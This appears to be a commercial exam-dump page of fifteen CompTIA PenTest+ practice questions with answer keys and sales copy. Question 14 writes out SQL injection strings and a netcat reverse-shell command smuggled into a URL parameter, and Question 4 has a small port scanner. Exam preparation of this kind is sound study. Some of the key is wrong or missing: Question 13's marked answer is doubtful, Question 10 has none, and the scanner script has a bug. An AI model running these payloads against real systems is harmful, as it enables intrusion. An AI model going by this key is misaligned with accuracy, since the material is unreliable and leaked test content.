

# PT0-002<sup>Q&As</sup>

CompTIA PenTest+ Certification Exam

**Pass CompTIA PT0-002 Exam with 100% Guarantee**

Free Download Real Questions & Answers **PDF** and **VCE** file from:

<https://www.pass2lead.com/pt0-002.html>

100% Passing Guarantee  
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA  
Official Exam Center

- ⚙️ **Instant Download** After Purchase
- ⚙️ **100% Money Back** Guarantee
- ⚙️ **365 Days** Free Update
- ⚙️ **800,000+** Satisfied Customers



### QUESTION 1

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of- service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

Correct Answer: C

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.

Ref: <https://www.okta.com/identity-101/fraggle-attack/>

---

### QUESTION 2

A penetration tester is cleaning up and covering tracks at the conclusion of a penetration test. Which of the following should the tester be sure to remove from the system? (Choose two.)

- A. Spawned shells
- B. Created user accounts
- C. Server logs
- D. Administrator accounts
- E. Reboot system
- F. ARP cache

Correct Answer: AB

Removing shells: Remove any shell programs installed when performing the pentest.

Removing tester-created credentials: Be sure to remove any user accounts created during the pentest. This includes backdoor accounts. Removing tools: Remove any software tools that were installed on the customer's systems that were

used to aid in the exploitation of systems.

---

### QUESTION 3

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability. Which of the following is the BEST way to ensure this is a true positive?

- A. Run another scanner to compare.
- B. Perform a manual test on the server.
- C. Check the results on the scanner.
- D. Look for the vulnerability online.

Correct Answer: B

---

#### QUESTION 4

A penetration tester wrote the following script to be used in one engagement:

```
#!/usr/bin/python
import socket,sys
ports = [21,22,23,25,80,139,443,445,3306,3389]
if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Too few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()
try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        results = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))
except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

Which of the following actions will this script perform?

- A. Look for open ports.
- B. Listen for a reverse shell.
- C. Attempt to flood open ports.
- D. Create an encrypted tunnel.

Correct Answer: A

---

#### QUESTION 5

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target

system types?

- A. Nessus
- B. Metasploit
- C. Burp Suite
- D. Ethercap

Correct Answer: B

---

### QUESTION 6

A penetration tester obtained the following results after scanning a web server using the dirb utility:

...

GENERATED WORDS: 4612

--- Scanning URL: http://10.2.10.13/---

+

http://10.2.10.13/about (CODE:200|SIZE:1520)

+

http://10.2.10.13/home.html (CODE:200|SIZE:214)

+

http://10.2.10.13/index.html (CODE:200|SIZE:214)

+

http://10.2.10.13/info (CODE:200|SIZE:214)

...

DOWNLOADED: 4612 FOUND: 4

Which of the following elements is MOST likely to contain useful information for the penetration tester?

- A.  
index.html
- B.  
about
- C.  
info

D.

home.html

Correct Answer: B

---

#### QUESTION 7

Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

- A. Dictionary
- B. Directory
- C. Symlink
- D. Catalog
- E. For-loop

Correct Answer: A

---

#### QUESTION 8

A penetration tester conducted a discovery scan that generated the following:

```
Starting nmap 6.40 ( http://nmap.org ) at 2021-02-01 13:56 CST
Nmap scan report for 192.168.0.1
Host is up (0.021s latency).
Nmap scan report for 192.168.0.140
Host is up (0.30s latency)
Nmap scan report for 192.168.0.149
Host is up (0.20s latency).
Nmap scan report for 192.168.0.184
Host is up (0.0017s latency).
Nmap done: IP addresses (4 hosts up) scanned in 37.26 seconds
```

Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?

- A. `nmap -oG list.txt 192.168.0.1-254 , sort`
- B. `nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print $5}'`
- C. `nmap -open 192.168.0.1-254, uniq`
- D. `nmap -o 192.168.0.1-254, cut -f 2`

Correct Answer: B

the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print \$5}) which obviously carries the returned IP of the host in the NMAP output.

---

#### QUESTION 9

A physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)

- A. Shoulder surfing
- B. Call spoofing
- C. Badge stealing
- D. Tailgating
- E. Dumpster diving
- F. Email phishing

Correct Answer: CD

---

#### QUESTION 10

##### SIMULATION

You are a penetration tester running port scans on a server.

##### INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Penetration Testing

Part 1

Part 2

**Drag and Drop Options**

- sL
- O
- 192.168.2.2
- sU
- sV
- p 1-1023
- 192.168.2.1-100
- Pn
- nc
- top-ports=1000
- hping
- top-ports=100
- nmap

**NMAP Scan Output**

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE VERSION
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

**Command**

?



**Penetration Testing**

Part 1

Part 2

**Question Options**

Using the output, identify potential attack vectors that should be further investigated.

- Weak SMB file permissions
- FTP anonymous login
- Webdav file upload
- Weak Apache Tomcat Credentials
- Null session enumeration
- Fragmentation attack
- SNMP enumeration
- ARP spoofing

**NMAP Scan Output**

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE VERSION
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 – 1 IP address (1 host up)
scanned in 26.80 seconds
```

A.

Correct Answer: See explanation below.

**QUESTION 11**

During a web application test, a penetration tester was able to navigate to <https://company.com> and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser:

unauthorized to view this page.

Which of the following BEST explains what occurred?

- A. The SSL certificates were invalid.
- B. The tester IP was blocked.
- C. The scanner crashed the system.
- D. The web page was not found.



Correct Answer: B

---

**QUESTION 12**

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

- A. Acceptance by the client and sign-off on the final report
- B. Scheduling of follow-up actions and retesting
- C. Attestation of findings and delivery of the report
- D. Review of the lessons learned during the engagement

Correct Answer: C

---

**QUESTION 13**

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

- A. Run nmap with the -o,-p22, and -sC options set against the target
- B. Run nmap with the -sV and -p22 options set against the target
- C. Run nmap with the -script vulners option set against the target
- D. Run nmap with the -sA option set against the target

Correct Answer: A

---

**QUESTION 14**

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

`http://company.com/catalog.asp?productid=22`

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

`http://company.com/catalog.asp?productid=22;WAITFOR DELAY\00:00:05\0`

Which of the following should the penetration tester attempt NEXT?

- A. `http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell \0whoami\0`
- B. `http://company.com/catalog.asp?productid=22\0 OR 1=1-`
- C. `http://company.com/catalog.asp?productid=22\0 UNION SELECT 1,2,3-`

D. `http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444-e /bin/bash`

Correct Answer: C

This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

---

#### QUESTION 15

When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

- A. security compliance regulations or laws may be violated.
- B. testing can make detecting actual APT more challenging.
- C. testing adds to the workload of defensive cyber- and threat-hunting teams.
- D. business and network operations may be impacted.

Correct Answer: D

[Latest PT0-002 Dumps](#)

[PT0-002 Practice Test](#)

[PT0-002 Braindumps](#)